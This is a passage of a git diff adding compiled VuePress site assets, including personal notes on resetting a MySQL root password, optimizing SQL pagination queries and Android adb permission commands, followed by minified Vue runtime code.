',8),d=[c];function _(n,h){return a(),r("div",null,d)}const s=e(t,[["render",_],["__file","23-5-22pg数据库的中文排序.html.vue"]]);export{s as default}; diff --git "a/assets/23-5-22pg\346\225\260\346\215\256\345\272\223\347\232\204\344\270\255\346\226\207\346\216\222\345\272\217.html-k0DhmuBI.js" "b/assets/23-5-22pg\346\225\260\346\215\256\345\272\223\347\232\204\344\270\255\346\226\207\346\216\222\345\272\217.html-k0DhmuBI.js" new file mode 100644 index 0000000..b470d43 --- /dev/null +++ "b/assets/23-5-22pg\346\225\260\346\215\256\345\272\223\347\232\204\344\270\255\346\226\207\346\216\222\345\272\217.html-k0DhmuBI.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-54f0d1d0","path":"/web/23-5-22pg%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E4%B8%AD%E6%96%87%E6%8E%92%E5%BA%8F.html","title":"23-5-22pg数据库的中文排序","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"背景","slug":"背景","link":"#背景","children":[]},{"level":2,"title":"方案1","slug":"方案1","link":"#方案1","children":[]},{"level":2,"title":"方案2","slug":"方案2","link":"#方案2","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"web/23-5-22pg数据库的中文排序.md"}');export{e as data}; diff --git a/assets/231835696836803-2nk4Z3C-.png b/assets/231835696836803-2nk4Z3C-.png new file mode 100644 index 0000000..718d7b1 Binary files /dev/null and b/assets/231835696836803-2nk4Z3C-.png differ diff --git a/assets/239891913912036-u-9AFBdU.png b/assets/239891913912036-u-9AFBdU.png new file mode 100644 index 0000000..466bfef Binary files /dev/null and b/assets/239891913912036-u-9AFBdU.png differ diff --git a/assets/262282302625813-_qHSbY-g.png b/assets/262282302625813-_qHSbY-g.png new file mode 100644 index 0000000..3b254d4 Binary files /dev/null and b/assets/262282302625813-_qHSbY-g.png differ diff --git a/assets/26585610279198-qDPAQFRs.png b/assets/26585610279198-qDPAQFRs.png new file mode 100644 index 0000000..7926b57 Binary files /dev/null and b/assets/26585610279198-qDPAQFRs.png differ diff --git a/assets/267571311278872-aiy3JK4f.png b/assets/267571311278872-aiy3JK4f.png new file mode 100644 index 0000000..85f9fd2 Binary files /dev/null and b/assets/267571311278872-aiy3JK4f.png differ diff --git a/assets/267835701625494-p4jK1vfP.png b/assets/267835701625494-p4jK1vfP.png new file mode 100644 index 0000000..132f72b Binary files /dev/null and b/assets/267835701625494-p4jK1vfP.png differ diff --git a/assets/270522409533576-XXXpJ4s5.png b/assets/270522409533576-XXXpJ4s5.png new file mode 100644 index 0000000..3284ff7 Binary files /dev/null and b/assets/270522409533576-XXXpJ4s5.png differ diff --git a/assets/270663025951564-grm2JTEW.png b/assets/270663025951564-grm2JTEW.png new file mode 100644 index 0000000..ba59da4 Binary files /dev/null and b/assets/270663025951564-grm2JTEW.png differ diff --git a/assets/27510892836406-L9knP75y.png b/assets/27510892836406-L9knP75y.png new file mode 100644 index 0000000..c075bf0 Binary files /dev/null and b/assets/27510892836406-L9knP75y.png differ diff --git a/assets/280304492836402-eUylmFoN.png b/assets/280304492836402-eUylmFoN.png new file mode 100644 index 0000000..deae38b Binary files /dev/null and b/assets/280304492836402-eUylmFoN.png differ diff --git a/assets/284455698836999-JYle4GdA.png b/assets/284455698836999-JYle4GdA.png new file mode 100644 index 0000000..d3c7a82 Binary files /dev/null and b/assets/284455698836999-JYle4GdA.png differ diff --git a/assets/287800781817896-Vpyzzqtw.png b/assets/287800781817896-Vpyzzqtw.png new file mode 100644 index 0000000..ec71915 Binary files /dev/null and b/assets/287800781817896-Vpyzzqtw.png differ diff --git a/assets/298007630951842-DxmUwS8I.png b/assets/298007630951842-DxmUwS8I.png new file mode 100644 index 0000000..d05dbc0 Binary files /dev/null and b/assets/298007630951842-DxmUwS8I.png differ diff --git a/assets/325013368947114-V-SvYCjT.png b/assets/325013368947114-V-SvYCjT.png new file mode 100644 index 0000000..9094faa Binary files /dev/null and b/assets/325013368947114-V-SvYCjT.png differ diff --git a/assets/339666605625810-SRbakhNE.png b/assets/339666605625810-SRbakhNE.png new file mode 100644 index 0000000..fbd3f99 Binary files /dev/null and b/assets/339666605625810-SRbakhNE.png differ diff --git a/assets/370660893836505-jwyokzhR.png b/assets/370660893836505-jwyokzhR.png new file mode 100644 index 0000000..9341d49 Binary files /dev/null and b/assets/370660893836505-jwyokzhR.png differ diff --git a/assets/378723495836805-Akg88FZH.png b/assets/378723495836805-Akg88FZH.png new file mode 100644 index 0000000..e4ce3a4 Binary files /dev/null and b/assets/378723495836805-Akg88FZH.png differ diff --git a/assets/379880510279073-CwzzhgUw.png b/assets/379880510279073-CwzzhgUw.png new file mode 100644 index 0000000..d3c84ee Binary files /dev/null and b/assets/379880510279073-CwzzhgUw.png differ diff --git a/assets/382107205625895-2OGByWCv.png b/assets/382107205625895-2OGByWCv.png new file mode 100644 index 0000000..4e94e94 Binary files /dev/null and b/assets/382107205625895-2OGByWCv.png differ diff --git a/assets/388303814279280-O_8WYwxq.png b/assets/388303814279280-O_8WYwxq.png new file mode 100644 index 0000000..aa6810f Binary files /dev/null and b/assets/388303814279280-O_8WYwxq.png differ diff --git a/assets/399381599836319-B5jf8FFP.png b/assets/399381599836319-B5jf8FFP.png new file mode 100644 index 0000000..2eac932 Binary files /dev/null and b/assets/399381599836319-B5jf8FFP.png differ diff --git a/assets/401180871947710-4AqukcNL.png b/assets/401180871947710-4AqukcNL.png new file mode 100644 index 0000000..efec2f0 Binary files /dev/null and b/assets/401180871947710-4AqukcNL.png differ diff --git a/assets/404.html-6Yl8cQE3.js b/assets/404.html-6Yl8cQE3.js new file mode 100644 index 0000000..7a25b17 --- /dev/null +++ b/assets/404.html-6Yl8cQE3.js @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-3706649a","path":"/404.html","title":"","lang":"en-US","frontmatter":{"layout":"NotFound"},"headers":[],"git":{},"filePathRelative":null}');export{t as data}; diff --git a/assets/404.html-jx0VGdGa.js b/assets/404.html-jx0VGdGa.js new file mode 100644 index 0000000..c7adc36 --- /dev/null +++ b/assets/404.html-jx0VGdGa.js @@ -0,0 +1 @@ +import{_ as e,o as c,c as t}from"./app-x8p6wK6B.js";const _={};function o(r,n){return c(),t("div")}const a=e(_,[["render",o],["__file","404.html.vue"]]);export{a as default}; diff --git a/assets/424924709279287-YfJWF5ev.png b/assets/424924709279287-YfJWF5ev.png new file mode 100644 index 0000000..993b118 Binary files /dev/null and b/assets/424924709279287-YfJWF5ev.png differ diff --git a/assets/43397323951244-njmpsXEy.png b/assets/43397323951244-njmpsXEy.png new file mode 100644 index 0000000..3b63855 Binary files /dev/null and b/assets/43397323951244-njmpsXEy.png differ diff --git a/assets/44541929951561-LUCbnwYK.png b/assets/44541929951561-LUCbnwYK.png new file mode 100644 index 0000000..7bbb55b Binary files /dev/null and b/assets/44541929951561-LUCbnwYK.png differ diff --git a/assets/486322292836512-Zfrvlyu0.png b/assets/486322292836512-Zfrvlyu0.png new file mode 100644 index 0000000..2eb8556 Binary files /dev/null and b/assets/486322292836512-Zfrvlyu0.png differ diff --git a/assets/493477101625617-8YwdJfeb.png b/assets/493477101625617-8YwdJfeb.png new file mode 100644 index 0000000..826594f Binary files /dev/null and b/assets/493477101625617-8YwdJfeb.png differ diff --git a/assets/500087022133366-w73em1gi.png b/assets/500087022133366-w73em1gi.png new file mode 100644 index 0000000..1db8b6b Binary files /dev/null and b/assets/500087022133366-w73em1gi.png differ diff --git a/assets/501727794900246-II9R_YS8.png b/assets/501727794900246-II9R_YS8.png new file mode 100644 index 0000000..727aaf2 Binary files /dev/null and b/assets/501727794900246-II9R_YS8.png differ diff --git a/assets/514935909278883-YU9p5snK.png b/assets/514935909278883-YU9p5snK.png new file mode 100644 index 0000000..8e7b64a Binary files /dev/null and b/assets/514935909278883-YU9p5snK.png differ diff --git a/assets/515895892836525-h9GyQ7S-.png b/assets/515895892836525-h9GyQ7S-.png new file mode 100644 index 0000000..b3aae97 Binary files /dev/null and b/assets/515895892836525-h9GyQ7S-.png differ diff --git a/assets/548223420659412-6QJypmJi.png b/assets/548223420659412-6QJypmJi.png new file mode 100644 index 0000000..5974940 Binary files /dev/null and b/assets/548223420659412-6QJypmJi.png differ diff --git a/assets/Mysql.html-SjpbbPal.js b/assets/Mysql.html-SjpbbPal.js new file mode 100644 index 0000000..2ff3351 --- /dev/null +++ b/assets/Mysql.html-SjpbbPal.js @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-47da6a9c","path":"/notebook/Mysql.html","title":"Mysql","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"2020/9/28","slug":"_2020-9-28","link":"#_2020-9-28","children":[{"level":3,"title":"重置mysql密码","slug":"重置mysql密码","link":"#重置mysql密码","children":[]}]},{"level":2,"title":"2020/4/5","slug":"_2020-4-5","link":"#_2020-4-5","children":[{"level":3,"title":"select insert","slug":"select-insert","link":"#select-insert","children":[]}]},{"level":2,"title":"2020/3/29","slug":"_2020-3-29","link":"#_2020-3-29","children":[{"level":3,"title":"mysql 语句分析:","slug":"mysql-语句分析","link":"#mysql-语句分析","children":[]},{"level":3,"title":"数据类型为text 的时间字段, 对比","slug":"数据类型为text-的时间字段-对比","link":"#数据类型为text-的时间字段-对比","children":[]},{"level":3,"title":"输出表的字段名 2020/03/26","slug":"输出表的字段名-2020-03-26","link":"#输出表的字段名-2020-03-26","children":[]},{"level":3,"title":"查询所有符合要求的行数, 同时取limit数据","slug":"查询所有符合要求的行数-同时取limit数据","link":"#查询所有符合要求的行数-同时取limit数据","children":[]}]},{"level":2,"title":"3/29:","slug":"_3-29","link":"#_3-29","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/Mysql.md"}');export{l as data}; diff --git a/assets/Mysql.html-lejLX8Of.js b/assets/Mysql.html-lejLX8Of.js new file mode 100644 index 0000000..34830ed --- /dev/null +++ b/assets/Mysql.html-lejLX8Of.js @@ -0,0 +1,51 @@ +import{_ as t,r as i,o as l,c as o,b as s,d as a,e as d,a as n}from"./app-x8p6wK6B.js";const c={},p=n(`服务器版本: ubuntu
第一步:停止mysql服务 sudo /etc/init.d/mysqld stop
or sudo service mysql stop
第二步, 以跳过密码验证模式启动mysql , 这一步窗口会阻塞, 需要再开启一个终端 sudo mysqld_safe --skip-grant-tables
可能有人这个时候报了一个错误, mysqld_safe Directory '/var/run/mysqld' for UNIX socket file don't exists
google 得到解决方案
https://stackoverflow.com/questions/42153059/mysqld-safe-directory-var-run-mysqld-for-unix-socket-file-dont-exists
sudo mkdir -p /var/run/mysqld
+sudo chown mysql:mysql /var/run/mysqld
+
问题解决
第三步: 进入mysql
mysql
第四步, 更新密码,这里我将密码改为your_password
+use mysql;
+
+update user set authentication_string = password("your_password") where user = "root";
+flush privileges;
+
+
然后重启mysql 即可
先杀掉我们
+
+INSERT INTO table2
+(column_name(s))
+SELECT column_name(s)
+FROM table1;
+
explain + sql语句
SELECT * FROM \`tousu_heimao_table\` WHERE complaint_time > '2020-03-27'
+
+
+加入limit 50
+SELECT id FROM \`tousu_heimao_table\` WHERE complaint_time > '2020-03-27' ORDER BY complaint_time limit 50; 5s
+
+
SELECT id,identity_code,crawl_time,title,complain_man,website,object_of_complaint,question_type,appeal_type,details_of_complaint,process_flow,comment_data,complaint_time FROM \`tousu_heimao_table\` WHERE unix_timestamp(complaint_time) > 1585281379\`
+
+
+
+
SELECT id FROM \`tousu_heimao_table\` WHERE unix_timestamp(complaint_time) > 1585281379 limit 50
+
SELECT id FROM \`tousu_heimao_table\` WHERE unix_timestamp(complaint_time) > 1585281379 ORDER BY complaint_time DESC limit 50
+
SELECT id FROM \`tousu_heimao_table\` WHERE 1=1 ORDER BY complaint_time DESC limit 100000,50
+
SELECT id FROM \`tousu_heimao_table\` WHERE id > (select id from \`tousu_heimao_table\` ORDER BY complaint_time DESC limit 100000,1) limit 50
+
7.究极优化 3s
SELECT * FROM \`tousu_heimao_table\` WHERE id > (select id from \`tousu_heimao_table\` ORDER BY id limit 100000,1) limit 50
+
8 .加入时间 2s
SELECT * FROM \`tousu_heimao_table\` WHERE id > (select id from \`tousu_heimao_table\` where complaint_time>'2019-3-27' ORDER BY id limit 100000,1) limit 50
+
SELECT * FROM tousu_table WHERE complaint_time > '2020-3-27' limit 100; 7s
+
SELECT * FROM tousu_table WHERE complaint_time > '2020-03-27' limit 100; 10s
+
select COLUMN_NAME from information_schema.COLUMNS where table_name = 'your_table_name' and table_schema = 'your_db_name';
+
一般思路: 查一下count(1) , 然后把count(1) 换成 * , 后面加上limit 0, 50, 再次查询得到数据
`,47),r={href:"https://blog.csdn.net/qq_31122833/article/details/83894509",target:"_blank",rel:"noopener noreferrer"},u=n(`select SQL_CALC_FOUND_ROWS + col_name1 as colName1, + col_name2 as colName2 +from table_name limit 0,10; +select FOUND_ROWS() as count; + +在SELECT语句中加上修饰SQL_CALC_FOUND_ROWS 之后,SELECT FOUND_ROWS() 会返回满足条件记录的总数。 +
这样,你执行完 select SQL_CALC_FOUND_ROWS 之后,再取一下记录总数就行了。
SELECT SQL_CALC_FOUND_ROWS
+ *
+FROM
+ tousu_table
+WHERE
+ (complaint_time <= '2020-03-30' AND complaint_time >= '2020-03-22' )
+ORDER BY
+ complaint_time
+ LIMIT 0,
+ 50
+
建立索引后,加与不加时间差异很大,加上后6.6s 不加1s
使用这个东西会导致全表扫描
`,5);function m(v,k){const e=i("ExternalLinkIcon");return l(),o("div",null,[p,s("p",null,[a("优化: "),s("a",r,[a("博客"),d(e)])]),u])}const _=t(c,[["render",m],["__file","Mysql.html.vue"]]);export{_ as default}; diff --git a/assets/adb.html-PCZulOnl.js b/assets/adb.html-PCZulOnl.js new file mode 100644 index 0000000..9f306e4 --- /dev/null +++ b/assets/adb.html-PCZulOnl.js @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-1bb63775","path":"/notebook/adb.html","title":"adb","lang":"en-US","frontmatter":{},"headers":[{"level":3,"title":"adb 更换壁纸 2020/4/29","slug":"adb-更换壁纸-2020-4-29","link":"#adb-更换壁纸-2020-4-29","children":[]},{"level":3,"title":"adb 授予/撤销 应用权限 2020/4/27","slug":"adb-授予-撤销-应用权限-2020-4-27","link":"#adb-授予-撤销-应用权限-2020-4-27","children":[]},{"level":3,"title":"adb推送后,图片在相册中不显示 2020/4/26","slug":"adb推送后-图片在相册中不显示-2020-4-26","link":"#adb推送后-图片在相册中不显示-2020-4-26","children":[]},{"level":3,"title":"清空应用缓存 2020/4/19","slug":"清空应用缓存-2020-4-19","link":"#清空应用缓存-2020-4-19","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/adb.md"}');export{e as data}; diff --git a/assets/adb.html-aasCYosc.js b/assets/adb.html-aasCYosc.js new file mode 100644 index 0000000..1f7f93a --- /dev/null +++ b/assets/adb.html-aasCYosc.js @@ -0,0 +1,8 @@ +import{_ as t,r as i,o as l,c as r,b as e,d as a,e as d,a as s}from"./app-x8p6wK6B.js";const c={},o=s(`am start -d file:////data/local/tmp/black_white.png -a android.service.wallpaper.CROP_AND_SET_WALLPAPER -f 0x1 com.android.launcher3/.WallpaperCropActivity
# 给微信授予高精度定位权限
+adb shell pm grant com.tencent.mm android.permission.ACCESS_FINE_LOCATION
+
+# 撤销
+adb shell pm revoke com.tencent.mm android.permission.ACCESS_FINE_LOCATION
+
+
+
X)for(;O<=Z;)$e(h[O],L,R,!0),O++;else{const re=O,ae=O,be=new Map;for(O=ae;O<=X;O++){const Ye=p[O]=N?Dt(p[O]):nt(p[O]);Ye.key!=null&&be.set(Ye.key,O)}let ge,De=0;const tt=X-ae+1;let Xt=!1,Gl=0;const gn=new Array(tt);for(O=0;O=tt){$e(Ye,L,R,!0);continue}let st;if(Ye.key!=null)st=be.get(Ye.key);else for(ge=ae;ge<=X;ge++)if(gn[ge-ae]===0&&qt(Ye,p[ge])){st=ge;break}st===void 0?$e(Ye,L,R,!0):(gn[st-ae]=O+1,st>=Gl?Gl=st:Xt=!0,B(Ye,p[st],v,null,L,R,q,S,N),De++)}const Jl=Xt?Cc(gn):ln;for(ge=Jl.length-1,O=tt-1;O>=0;O--){const Ye=ae+O,st=p[Ye],Ql=Ye+1{const{el:R,type:q,transition:S,children:N,shapeFlag:O}=h;if(O&6){ze(h.component.subTree,p,v,y);return}if(O&128){h.suspense.move(p,v,y);return}if(O&64){q.move(h,p,v,$);return}if(q===ye){o(R,p,v);for(let Z=0;ZS.enter(R),L);else{const{leave:Z,delayLeave:X,afterLeave:re}=S,ae=()=>o(R,p,v),be=()=>{Z(R,()=>{ae(),re&&re()})};X?X(R,ae,be):be()}else o(R,p,v)},$e=(h,p,v,y=!1,L=!1)=>{const{type:R,props:q,ref:S,children:N,dynamicChildren:O,shapeFlag:Q,patchFlag:Z,dirs:X}=h;if(S!=null&&Ao(S,null,v,h,!0),Q&256){p.ctx.deactivate(h);return}const re=Q&1&&X,ae=!cn(h);let be;if(ae&&(be=q&&q.onVnodeBeforeUnmount)&&Xe(be,p,h),Q&6)it(h.component,v,y);else{if(Q&128){h.suspense.unmount(v,y);return}re&&at(h,null,p,"beforeUnmount"),Q&64?h.type.remove(h,p,v,L,$,y):O&&(R!==ye||Z>0&&Z&64)?Fe(O,p,v,!1,!0):(R===ye&&Z&384||!L&&Q&16)&&Fe(N,p,v),y&&At(h)}(ae&&(be=q&&q.onVnodeUnmounted)||re)&&Ue(()=>{be&&Xe(be,p,h),re&&at(h,null,p,"unmounted")},v)},At=h=>{const{type:p,el:v,anchor:y,transition:L}=h;if(p===ye){yt(v,y);return}if(p===Dn){b(h);return}const R=()=>{l(v),L&&!L.persisted&&L.afterLeave&&L.afterLeave()};if(h.shapeFlag&1&&L&&!L.persisted){const{leave:q,delayLeave:S}=L,N=()=>q(v,R);S?S(h.el,R,N):N()}else R()},yt=(h,p)=>{let v;for(;h!==p;)v=f(h),l(h),h=v;l(p)},it=(h,p,v)=>{const{bum:y,scope:L,update:R,subTree:q,um:S}=h;y&&Ho(y),L.stop(),R&&(R.active=!1,$e(q,h,p,v)),S&&Ue(S,p),Ue(()=>{h.isUnmounted=!0},p),p&&p.pendingBranch&&!p.isUnmounted&&h.asyncDep&&!h.asyncResolved&&h.suspenseId===p.pendingId&&(p.deps--,p.deps===0&&p.resolve())},Fe=(h,p,v,y=!1,L=!1,R=0)=>{for(let q=R;q h.shapeFlag&6?w(h.component.subTree):h.shapeFlag&128?h.suspense.next():f(h.anchor||h.el),U=(h,p,v)=>{h==null?p._vnode&&$e(p._vnode,null,null,!0):B(p._vnode||null,h,p,null,null,null,v),sr(),Eo(),p._vnode=h},$={p:B,um:$e,m:ze,r:At,mt:oe,mc:g,pc:K,pbc:P,n:w,o:e};let G,ue;return t&&([G,ue]=t($)),{render:U,hydrate:G,createApp:bc(U,G)}}function Vt({effect:e,update:t},n){e.allowRecurse=t.allowRecurse=n}function os(e,t){return(!e||e&&!e.pendingBranch)&&t&&!t.persisted}function ls(e,t,n=!1){const o=e.children,l=t.children;if(ee(o)&&ee(l))for(let r=0;r >1,e[n[a]] 0&&(t[o]=n[r-1]),n[r]=o)}}for(r=n.length,i=n[r-1];r-- >0;)n[r]=i,i=t[i];return n}const Tc=e=>e.__isTeleport,ye=Symbol.for("v-fgt"),dn=Symbol.for("v-txt"),Je=Symbol.for("v-cmt"),Dn=Symbol.for("v-stc"),Cn=[];let lt=null;function z(e=!1){Cn.push(lt=e?null:[])}function Rc(){Cn.pop(),lt=Cn[Cn.length-1]||null}let In=1;function gr(e){In+=e}function rs(e){return e.dynamicChildren=In>0?lt||ln:null,Rc(),In>0&<&<.push(e),e}function te(e,t,n,o,l,r){return rs(pe(e,t,n,o,l,r,!0))}function Ce(e,t,n,o,l){return rs(le(e,t,n,o,l,!0))}function yo(e){return e?e.__v_isVNode===!0:!1}function qt(e,t){return e.type===t.type&&e.key===t.key}const So="__vInternal",is=({key:e})=>e??null,uo=({ref:e,ref_key:t,ref_for:n})=>(typeof e=="number"&&(e=""+e),e!=null?Ee(e)||Ie(e)||ie(e)?{i:Me,r:e,k:t,f:!!n}:e:null);function pe(e,t=null,n=null,o=0,l=null,r=e===ye?0:1,i=!1,a=!1){const s={__v_isVNode:!0,__v_skip:!0,type:e,props:t,key:t&&is(t),ref:t&&uo(t),scopeId:Ni,slotScopeIds:null,children:n,component:null,suspense:null,ssContent:null,ssFallback:null,dirs:null,transition:null,el:null,anchor:null,target:null,targetAnchor:null,staticCount:0,shapeFlag:r,patchFlag:o,dynamicProps:l,dynamicChildren:null,appContext:null,ctx:Me};return a?(Fl(s,n),r&128&&e.normalize(s)):n&&(s.shapeFlag|=Ee(n)?8:16),In>0&&!i&<&&(s.patchFlag>0||r&6)&&s.patchFlag!==32&<.push(s),s}const le=Pc;function Pc(e,t=null,n=null,o=0,l=null,r=!1){if((!e||e===Ga)&&(e=Je),yo(e)){const a=Ft(e,t,!0);return n&&Fl(a,n),In>0&&!r&<&&(a.shapeFlag&6?lt[lt.indexOf(e)]=a:lt.push(a)),a.patchFlag|=-2,a}if(jc(e)&&(e=e.__vccOpts),t){t=Oc(t);let{class:a,style:s}=t;a&&!Ee(a)&&(t.class=Ke(a)),ke(s)&&(Pi(s)&&!ee(s)&&(s=Pe({},s)),t.style=Nn(s))}const i=Ee(e)?1:Qa(e)?128:Tc(e)?64:ke(e)?4:ie(e)?2:0;return pe(e,t,n,o,l,i,r,!0)}function Oc(e){return e?Pi(e)||So in e?Pe({},e):e:null}function Ft(e,t,n=!1){const{props:o,ref:l,patchFlag:r,children:i}=e,a=t?fl(o||{},t):o;return{__v_isVNode:!0,__v_skip:!0,type:e.type,props:a,key:a&&is(a),ref:t&&t.ref?n&&l?ee(l)?l.concat(uo(t)):[l,uo(t)]:uo(t):l,scopeId:e.scopeId,slotScopeIds:e.slotScopeIds,children:i,target:e.target,targetAnchor:e.targetAnchor,staticCount:e.staticCount,shapeFlag:e.shapeFlag,patchFlag:t&&e.type!==ye?r===-1?16:r|16:r,dynamicProps:e.dynamicProps,dynamicChildren:e.dynamicChildren,appContext:e.appContext,dirs:e.dirs,transition:e.transition,component:e.component,suspense:e.suspense,ssContent:e.ssContent&&Ft(e.ssContent),ssFallback:e.ssFallback&&Ft(e.ssFallback),el:e.el,anchor:e.anchor,ctx:e.ctx,ce:e.ce}}function It(e=" ",t=0){return le(dn,null,e,t)}function Fc(e,t){const n=le(Dn,null,e);return n.staticCount=t,n}function xe(e="",t=!1){return t?(z(),Ce(Je,null,e)):le(Je,null,e)}function nt(e){return e==null||typeof e=="boolean"?le(Je):ee(e)?le(ye,null,e.slice()):typeof e=="object"?Dt(e):le(dn,null,String(e))}function Dt(e){return e.el===null&&e.patchFlag!==-1||e.memo?e:Ft(e)}function Fl(e,t){let n=0;const{shapeFlag:o}=e;if(t==null)t=null;else if(ee(t))n=16;else if(typeof t=="object")if(o&65){const l=t.default;l&&(l._c&&(l._d=!1),Fl(e,l()),l._c&&(l._d=!0));return}else{n=32;const l=t._;!l&&!(So in t)?t._ctx=Me:l===3&&Me&&(Me.slots._===1?t._=1:(t._=2,e.patchFlag|=1024))}else ie(t)?(t={default:t,_ctx:Me},n=32):(t=String(t),o&64?(n=16,t=[It(t)]):n=8);e.children=t,e.shapeFlag|=n}function fl(...e){const t={};for(let n=0;n Te||Me;let Sl,en,br="__VUE_INSTANCE_SETTERS__";(en=tl()[br])||(en=tl()[br]=[]),en.push(e=>Te=e),Sl=e=>{en.length>1?en.forEach(t=>t(e)):en[0](e)};const fn=e=>{Sl(e),e.scope.on()},Wt=()=>{Te&&Te.scope.off(),Sl(null)};function ss(e){return e.vnode.shapeFlag&4}let hn=!1;function Mc(e,t=!1){hn=t;const{props:n,children:o}=e.vnode,l=ss(e);Ac(e,n,l,t),kc(e,o);const r=l?$c(e,t):void 0;return hn=!1,r}function $c(e,t){const n=e.type;e.accessCache=Object.create(null),e.proxy=Oi(new Proxy(e.ctx,hc));const{setup:o}=n;if(o){const l=e.setupContext=o.length>1?Hc(e):null;fn(e),vn();const r=Rt(o,e,0,[e.props,l]);if(_n(),Wt(),mi(r)){if(r.then(Wt,Wt),t)return r.then(i=>{Ar(e,i,t)}).catch(i=>{jn(i,e,0)});e.asyncDep=r}else Ar(e,r,t)}else as(e,t)}function Ar(e,t,n){ie(t)?e.type.__ssrInlineRender?e.ssrRender=t:e.render=t:ke(t)&&(e.setupState=Ii(t)),as(e,n)}let yr;function as(e,t,n){const o=e.type;if(!e.render){if(!t&&yr&&!o.render){const l=o.template||Pl(e).template;if(l){const{isCustomElement:r,compilerOptions:i}=e.appContext.config,{delimiters:a,compilerOptions:s}=o,c=Pe(Pe({isCustomElement:r,delimiters:a},i),s);o.render=yr(l,c)}}e.render=o.render||ut}{fn(e),vn();try{pc(e)}finally{_n(),Wt()}}}function Nc(e){return e.attrsProxy||(e.attrsProxy=new Proxy(e.attrs,{get(t,n){return We(e,"get","$attrs"),t[n]}}))}function Hc(e){const t=n=>{e.exposed=n||{}};return{get attrs(){return Nc(e)},slots:e.slots,emit:e.emit,expose:t}}function Vo(e){if(e.exposed)return e.exposeProxy||(e.exposeProxy=new Proxy(Ii(Oi(e.exposed)),{get(t,n){if(n in t)return t[n];if(n in Ln)return Ln[n](e)},has(t,n){return n in t||n in Ln}}))}function qc(e,t=!0){return ie(e)?e.displayName||e.name:e.name||t&&e.__name}function jc(e){return ie(e)&&"__vccOpts"in e}const j=(e,t)=>$a(e,t,hn);function ce(e,t,n){const o=arguments.length;return o===2?ke(t)&&!ee(t)?yo(t)?le(e,null,[t]):le(e,t):le(e,null,t):(o>3?n=Array.prototype.slice.call(arguments,2):o===3&&yo(n)&&(n=[n]),le(e,t,n))}const zc=Symbol.for("v-scx"),Uc=()=>Le(zc),Kc="3.3.10",Wc="http://www.w3.org/2000/svg",jt=typeof document<"u"?document:null,Br=jt&&jt.createElement("template"),Yc={insert:(e,t,n)=>{t.insertBefore(e,n||null)},remove:e=>{const t=e.parentNode;t&&t.removeChild(e)},createElement:(e,t,n,o)=>{const l=t?jt.createElementNS(Wc,e):jt.createElement(e,n?{is:n}:void 0);return e==="select"&&o&&o.multiple!=null&&l.setAttribute("multiple",o.multiple),l},createText:e=>jt.createTextNode(e),createComment:e=>jt.createComment(e),setText:(e,t)=>{e.nodeValue=t},setElementText:(e,t)=>{e.textContent=t},parentNode:e=>e.parentNode,nextSibling:e=>e.nextSibling,querySelector:e=>jt.querySelector(e),setScopeId(e,t){e.setAttribute(t,"")},insertStaticContent(e,t,n,o,l,r){const i=n?n.previousSibling:t.lastChild;if(l&&(l===r||l.nextSibling))for(;t.insertBefore(l.cloneNode(!0),n),!(l===r||!(l=l.nextSibling)););else{Br.innerHTML=o?``:e;const a=Br.content;if(o){const s=a.firstChild;for(;s.firstChild;)a.appendChild(s.firstChild);a.removeChild(s)}t.insertBefore(a,n)}return[i?i.nextSibling:t.firstChild,n?n.previousSibling:t.lastChild]}},wt="transition",bn="animation",Sn=Symbol("_vtc"),Wn=(e,{slots:t})=>ce(nc,Zc(e),t);Wn.displayName="Transition";const cs={name:String,type:String,css:{type:Boolean,default:!0},duration:[String,Number,Object],enterFromClass:String,enterActiveClass:String,enterToClass:String,appearFromClass:String,appearActiveClass:String,appearToClass:String,leaveFromClass:String,leaveActiveClass:String,leaveToClass:String};Wn.props=Pe({},Ui,cs);const Mt=(e,t=[])=>{ee(e)?e.forEach(n=>n(...t)):e&&e(...t)},kr=e=>e?ee(e)?e.some(t=>t.length>1):e.length>1:!1;function Zc(e){const t={};for(const k in e)k in cs||(t[k]=e[k]);if(e.css===!1)return t;const{name:n="v",type:o,duration:l,enterFromClass:r=`${n}-enter-from`,enterActiveClass:i=`${n}-enter-active`,enterToClass:a=`${n}-enter-to`,appearFromClass:s=r,appearActiveClass:c=i,appearToClass:u=a,leaveFromClass:d=`${n}-leave-from`,leaveActiveClass:f=`${n}-leave-active`,leaveToClass:E=`${n}-leave-to`}=e,A=Gc(l),B=A&&A[0],x=A&&A[1],{onBeforeEnter:T,onEnter:C,onEnterCancelled:_,onLeave:b,onLeaveCancelled:H,onBeforeAppear:Y=T,onAppear:M=C,onAppearCancelled:g=_}=t,I=(k,V,oe)=>{$t(k,V?u:a),$t(k,V?c:i),oe&&oe()},P=(k,V)=>{k._isLeaving=!1,$t(k,d),$t(k,E),$t(k,f),V&&V()},W=k=>(V,oe)=>{const se=k?M:C,F=()=>I(V,k,oe);Mt(se,[V,F]),wr(()=>{$t(V,k?s:r),xt(V,k?u:a),kr(se)||xr(V,o,B,F)})};return Pe(t,{onBeforeEnter(k){Mt(T,[k]),xt(k,r),xt(k,i)},onBeforeAppear(k){Mt(Y,[k]),xt(k,s),xt(k,c)},onEnter:W(!1),onAppear:W(!0),onLeave(k,V){k._isLeaving=!0;const oe=()=>P(k,V);xt(k,d),Xc(),xt(k,f),wr(()=>{k._isLeaving&&($t(k,d),xt(k,E),kr(b)||xr(k,o,x,oe))}),Mt(b,[k,oe])},onEnterCancelled(k){I(k,!1),Mt(_,[k])},onAppearCancelled(k){I(k,!0),Mt(g,[k])},onLeaveCancelled(k){P(k),Mt(H,[k])}})}function Gc(e){if(e==null)return null;if(ke(e))return[Ko(e.enter),Ko(e.leave)];{const t=Ko(e);return[t,t]}}function Ko(e){return ta(e)}function xt(e,t){t.split(/\s+/).forEach(n=>n&&e.classList.add(n)),(e[Sn]||(e[Sn]=new Set)).add(t)}function $t(e,t){t.split(/\s+/).forEach(o=>o&&e.classList.remove(o));const n=e[Sn];n&&(n.delete(t),n.size||(e[Sn]=void 0))}function wr(e){requestAnimationFrame(()=>{requestAnimationFrame(e)})}let Jc=0;function xr(e,t,n,o){const 